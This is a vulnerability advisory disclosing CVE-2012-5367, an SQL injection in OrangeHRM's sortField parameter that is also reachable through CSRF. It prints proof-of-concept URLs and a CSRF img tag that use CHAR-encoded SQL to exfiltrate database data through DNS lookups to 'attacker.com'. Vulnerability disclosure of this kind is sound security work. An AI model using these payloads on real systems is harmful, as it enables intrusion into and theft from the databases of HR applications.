Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in OrangeHRM, which could be exploited to alter SQL requests to application's database.

1) SQL Injection Vulnerability in Orange HRM: CVE-2012-5367

The vulnerability was discovered in the "/symfony/web/index.php" script while handling the "sortField" HTTP GET parameter.

Successful exploitation of this vulnerability requires administrative privileges, however it can be exploited by a non-authenticated user via CSRF vector, as the above-mentioned script is also vulnerable to CSRF attack.

The vulnerability could be triggered by accessing the following URIs:

/symfony/web/index.php/admin/viewCustomers
/symfony/web/index.php/admin/viewPayGrades
/symfony/web/index.php/admin/viewPayGrades

The PoC codes below are based on DNS Exfiltration technique and can be used in cases when application's database is hosted on a Windows system. The PoCs will send a DNS request demanding IP addess for `version()` (or any other sensitive information from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

1.1 http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&so
rtField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(
107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),
CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))

The following PoC demonstrates exploitation of the vulnerability via CSRF vector:

<img src="http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=A
SC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(
107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),
CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">

1.2 http://[host]/symfony/web/index.php/admin/viewPayGrades?sortOrder=ASC&so
rtField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(
107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),
CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))

1.3 http://[host]/symfony/web/index.php/admin/viewSystemUsers?sortOrder=ASC&
sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(
107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),
CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
